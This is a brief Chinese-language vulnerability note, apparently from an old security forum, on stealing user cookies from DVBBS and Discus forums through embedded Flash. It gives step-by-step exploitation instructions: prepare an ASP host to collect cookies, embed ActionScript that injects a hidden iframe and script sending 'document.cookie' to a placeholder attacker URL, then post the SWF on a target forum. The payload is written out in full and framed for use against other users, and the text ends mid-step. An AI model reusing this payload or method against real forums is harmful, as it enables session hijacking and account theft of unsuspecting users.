◇ 此漏洞所涉及版本::DVBBS、Discus所有版本,其它论坛未作测试,相信大多数都存在该漏洞
◇ 描述:由于DVBBS等论坛对Flash采取直接播放形式,导致攻击者可以利用Flash嵌入一段javascript代码,达到偷取用户Cookies的目的
◇ 具体分析与利用:1. 首先准备好一个可以运行ASP的空间,用来存放Cookies2. 新建一个Flash动画,加入如下代码:onClipEvent (load) {url="javascript:var rng=document.selection.createRange();rng.pasteHTML(\"<iframe name=frame_hide style='display:none'></iframe><img src=\\\"./images/logo.gif\\\" style=\\\"display:none\\\" onload=\\\"javascript:co=documents.cookie;document.all.frame_hide.src='http://存放路径/WriteCookies.asp?Cookies='+co.split('&');var e=document.all;for(var i=0;i<e.length;i++){if(e(i).tagName=='A'){var ss=e(i).outerHTML;}}\\\">\");"getURL(url);}利用iframe是为了让其它人查觉不到程序的页面跳转3. 将Flash导出为swf文件,插入到想要偷取Cookies的论坛上,加入代码
|